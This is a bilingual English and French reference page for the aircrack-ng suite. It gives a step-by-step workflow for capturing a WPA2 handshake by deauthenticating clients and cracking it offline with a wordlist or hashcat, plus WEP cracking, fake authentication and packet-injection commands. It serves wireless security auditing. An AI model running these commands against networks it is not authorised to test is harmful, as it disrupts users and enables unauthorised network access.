← retour aux outils back to tools

# aircrack-ng

Suite de crack de clés WEP et WPA/WPA2-PSK en 802.11. Inclut des outils de capture, d'injection, de déauthentification et de crack de mot de passe hors ligne. 802.11 WEP and WPA/WPA2-PSK key cracking suite. Includes tools for capture, injection, deauthentication, and offline password cracking.

↗ https://www.aircrack-ng.org

## Overview

aircrack-ng is a complete suite for 802.11 wireless network auditing. Key tools: `airmon-ng` (monitor mode), `airodump-ng` (capture), `aireplay-ng` (injection/deauth), `aircrack-ng` (cracking), and `airdecap-ng` (decryption).

## Workflow: WPA2 Handshake Capture & Crack

1. Kill interfering processes

    airmon-ng check kill

2. Enable monitor mode

    airmon-ng start wlan0

→ Interface is now wlan0mon

3. Scan for networks

    airodump-ng wlan0mon

4. Target a specific network and capture to file

    airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

5. Deauthenticate a client to force handshake (new terminal)

    aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

→ -0 = deauth, 10 = count, -a = AP BSSID, -c = client MAC

    # 6. Wait for WPA handshake in airodump-ng output, then Ctrl+C

7. Crack the handshake

    aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

## WEP Cracking (Legacy)

Capture IVs (needs ~20,000+)

    airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon

Fake authentication

    aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

ARP replay to generate traffic

    aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon

Crack WEP key (statistical attack)

    aircrack-ng wep_capture-01.cap

## aireplay-ng Attacks

    aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon          # All clients

    aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT wlan0mon # Specific client

Fake authentication

    aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

Interactive packet replay

    aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b AA:BB:CC:DD:EE:FF wlan0mon

Test injection capability

    aireplay-ng -9 wlan0mon

## aircrack-ng Cracking

Crack WPA handshake with wordlist

    aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

Multiple capture files

    aircrack-ng -w rockyou.txt *.cap

Show network info without cracking

    aircrack-ng capture-01.cap

## Convert for Hashcat (faster cracking)

Convert .cap to .hc22000 for hashcat

    hcxpcapngtool -o hash.hc22000 capture-01.cap

Then crack with hashcat

    hashcat -m 22000 hash.hc22000 rockyou.txt

## Tips

- Not all wireless cards support injection — check the aircrack-ng compatibility list
- Use `hcxtools` + `hashcat` for GPU-accelerated WPA cracking (much faster than CPU)
- `airmon-ng check kill` stops NetworkManager and wpa_supplicant which interfere with monitor mode
- `iwconfig` confirms the interface is in monitor mode

Key commands summary

    airmon-ng start|stop|check|check kill <interface>

    airodump-ng [options] <interface>
      -c channel        Capture specific channel
      --bssid MAC       Filter by AP MAC
      -w prefix         Write to file
      --wps             Show WPS info

    aireplay-ng [options] <interface>
      -0 count          Deauthentication
      -1 delay          Fake authentication
      -2                Interactive replay
      -3                ARP request replay
      -9                Injection test
      -a MAC            AP BSSID
      -c MAC            Client MAC

    aircrack-ng [options] <capture files>
      -w wordlist       Wordlist file
      -b BSSID          Target AP MAC
      -e ESSID          Target network name

## Vue d’ensemble

aircrack-ng est une suite complète pour l’audit des réseaux sans fil 802.11. Outils clés : `airmon-ng` (mode monitor), `airodump-ng` (capture), `aireplay-ng` (injection/deauth), `aircrack-ng` (crack), et `airdecap-ng` (déchiffrement).

## Workflow : capture et crack d’un handshake WPA2

    # 1. Tuer les processus qui interfèrent
    airmon-ng check kill

    # 2. Activer le mode monitor
    airmon-ng start wlan0
    # → L'interface est maintenant wlan0mon

    # 3. Scanner les réseaux
    airodump-ng wlan0mon

    # 4. Cibler un réseau spécifique et capturer vers un fichier
    airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

    # 5. Déauthentifier un client pour forcer le handshake (nouveau terminal)
    aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon
    # → -0 = deauth, 10 = nombre, -a = BSSID de l'AP, -c = MAC du client

    # 6. Attendre le handshake WPA dans la sortie d'airodump-ng, puis Ctrl+C

    # 7. Cracker le handshake
    aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

## Crack WEP (obsolète)

    # Capturer des IVs (il en faut ~20 000+)
    airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture wlan0mon

    # Fausse authentification
    aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

    # Rejeu ARP pour générer du trafic
    aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon

    # Cracker la clé WEP (attaque statistique)
    aircrack-ng wep_capture-01.cap

## Attaques aireplay-ng

    aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon          # Tous les clients
    aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT wlan0mon # Client spécifique

    # Fausse authentification
    aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

    # Rejeu de paquets interactif
    aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b AA:BB:CC:DD:EE:FF wlan0mon

    # Tester la capacité d'injection
    aireplay-ng -9 wlan0mon

## Crack avec aircrack-ng

    # Cracker un handshake WPA avec une wordlist
    aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

    # Plusieurs fichiers de capture
    aircrack-ng -w rockyou.txt *.cap

    # Afficher les infos du réseau sans cracker
    aircrack-ng capture-01.cap

## Convertir pour Hashcat (crack plus rapide)

    # Convertir le .cap en .hc22000 pour hashcat
    hcxpcapngtool -o hash.hc22000 capture-01.cap

    # Puis cracker avec hashcat
    hashcat -m 22000 hash.hc22000 rockyou.txt

## Conseils

- Toutes les cartes sans fil ne supportent pas l’injection : vérifiez la liste de compatibilité d’aircrack-ng
- Utilisez `hcxtools` + `hashcat` pour un crack WPA accéléré par GPU (bien plus rapide que le CPU)
- `airmon-ng check kill` arrête NetworkManager et wpa_supplicant, qui interfèrent avec le mode monitor
- `iwconfig` confirme que l’interface est en mode monitor

Résumé des commandes clés

    airmon-ng start|stop|check|check kill <interface>

    airodump-ng [options] <interface>
      -c channel        Capture specific channel
      --bssid MAC       Filter by AP MAC
      -w prefix         Write to file
      --wps             Show WPS info

    aireplay-ng [options] <interface>
      -0 count          Deauthentication
      -1 delay          Fake authentication
      -2                Interactive replay
      -3                ARP request replay
      -9                Injection test
      -a MAC            AP BSSID
      -c MAC            Client MAC

    aircrack-ng [options] <capture files>
      -w wordlist       Wordlist file
      -b BSSID          Target AP MAC
      -e ESSID          Target network name